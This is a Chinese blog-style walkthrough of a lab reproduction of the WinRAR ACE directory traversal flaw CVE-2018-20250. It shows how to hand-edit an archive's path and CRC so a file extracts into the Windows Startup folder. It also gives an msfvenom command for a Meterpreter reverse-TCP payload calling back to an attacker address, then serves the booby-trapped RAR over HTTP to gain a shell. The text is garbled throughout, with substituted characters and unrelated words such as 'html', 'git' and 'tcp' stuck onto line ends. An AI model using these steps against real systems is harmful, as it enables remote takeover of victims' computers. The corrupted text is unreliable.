【漏洞复现】WinRAR目录穿越漏洞(CVE-2018-20250)复现

 前言

这漏洞出来几天了,以前没怎么关注,可是这两天发现开始有利用这个漏洞进行挖矿和病毒传播了,因而想动手复现一波。html

WinRAR 代码执行相关的CVE 编号以下:python

CVE-2018-20250,CVE-2018-20251, CVE-2018-20252, CVE-2018-20253git

这里咱们复现最开始的WinRAR目录穿越漏洞(CVE-2018-20250)。github

漏洞详情

原理:

WinRAR目录穿越漏洞(CVE-2018-20250):windows

  该漏洞是因为WinRAR 所使用的一个陈旧的动态连接库UNACEV2.dll所形成的,该动态连接库在2006 年被编译,没有任何的基础保护机制(ASLR,DEP 等)。该动态连接库的做用是处理ACE 格式文件。而在解压处理过程当中存在一处目录穿越漏洞,容许解压过程写入文件至开机启动项,致使代码执行。浏览器

影响版本:

WinRAR < 5.70 Beta 1服务器

Bandizip < = 6.2.0.0tcp

好压(2345压缩) < = 5.9.8.10907工具

360压缩 < = 4.0.0.1170spa

漏洞利用条件:

  攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘且在不知道计算机主机名的状况下,只能在主浏览器的默认下载路径下(C:\Users\Administrator\Downloads)或者桌面进行解压,或者多猜几个启动项路径。产生漏洞的DLL文件:UNACEV2.DLL,不能识别相对路径,文件名部分必须为绝对路径。

  如下是几种机器的开机启动项路径,能够看到在我的PC上受用户名影响,没法猜想到准确的路径,而服务器上通常不会修改用户名,因此这个漏洞在服务器上利用度比较高。

Win2003开机启动项路径:C:\Documents and Settings\Administrator\「开始」菜单\程序\启动

Win2008开机启动项路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win2012开机启动项路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win7   开机启动项路径:C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win10 开机启动项路径:C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  本次试验使用的是Win2008,

漏洞复现

环境工具:

服务器:Win2008 R2

WinRAR 5.60简体中文版:https://www.rarlab.com/rar/winrar-x64-560sc.exe

Python-3.7.2-amd64.exe:https://www.python.org/ftp/python/3.7.2/python-3.7.2-amd64.exe

010Editor:https://download.sweetscape.com/010EditorWin64Installer901.exe

Wace和模板文件:https://github.com/360-A-Team/CVE-2018-20250

EXP:https://github.com/WyAtu/CVE-2018-20250

漏洞复现:

这里咱们写一个bat,进行弹窗演示:

而后打开WinAce,选中咱们建立的文件,右键,点击Add to...

  利用WinACE进行压缩,这里选择store full path。

  生成以后咱们利用脚本检查一下咱们生成的文件1.ace的header信息:

这里几个是咱们须要修改的参数。

 在010Edit工具中打开刚才生成的1.ace文件,将文件路径替换为启动项路径以下,而后能够看到新的完整的文件路径长度为93,转换为16进制后为:5D。

修改完这两个地方以后点击保存,接着还须要修改hdr_size。

  这三个地方修改完成以后点击保存。

  最后利用acefile.py从新查看文件header信息。修改acefile.py,在3061行处添加如下语句,输出文件hdr_crc。

print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf))))
print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))

能够看到当前的hdr_crc为:16 9A,咱们要把它改成E4 A3,保存以后从新查看文件header信息。

  修改完成,将文件另存为1.rar。

 选择解压到当前文件夹或解压到文件夹1均可以,能够看到bat文件成功解压到开机启动项里。

重启电脑查看效果。

复现成功,自动运行bat文件弹窗。

MSF利用

   首先下载EXP:

wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip

  这里我解压/root/tools目录下:

  而后利用msf生成一个恶意程序,放到该目录下:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.129 lport=4444 -f exe -o /root/tools/CVE-2018-20250-master/test.exe

   修改exp.py文件:

  将evil_filename改成咱们生成的恶意程序。

  将py -3 改成python3,修改完成以后保存,运行如下命令:

python3 exp.py 

  成功生成攻击文件test.rar,只要诱导用户下载解压这个压缩文件呢,就可获得用户电脑权限,这里只演示功能,咱们用python简单开启一个http服务:

python -m SimpleHTTPServer

  切换到win2008,也就是咱们要攻击的目标机器。下载test.rar,而后直接在下载目录解压(也可选择在桌面解压)。

  能够看到在系统的启动路径下成功解压出hi.exe文件。接着咱们在kali上面开启监听,而后重启win2008。

  成功拿到目标机器权限。

 

漏洞防护

  删除受影响压缩软件目录下UNACEV2.dll文件能有效防护。
  升级到最新版本,WinRAR 目前版本是 5.70 Beta 1。
  总而言之,该漏洞并无那么致命。目标性的打站,得先欺骗下载,并再在未防御的服务器上解压,企业服务器管理员都很难会这样作。并且必须得服务器重启才能生效,不能直接执行脚本。

 

 

参考连接:

https://blog.csdn.net/qq_29910529/article/details/88069707

https://bbs.pediy.com/thread-249613.htm

https://www.cnblogs.com/backlion/p/10417985.html

https://mp.weixin.qq.com/s/qT-lL-kCDHJKCMCmeQq7Ng

http://www.hetianlab.com/expc.do?ce=7ebc7ed1-ab4b-4eba-9451-02954d9b7b00

 

 

笨鸟先飞早入林,笨人勤学早成材。

转载请注明出处:
撰写人:fox-yu  http://www.cnblogs.com/fox-yu/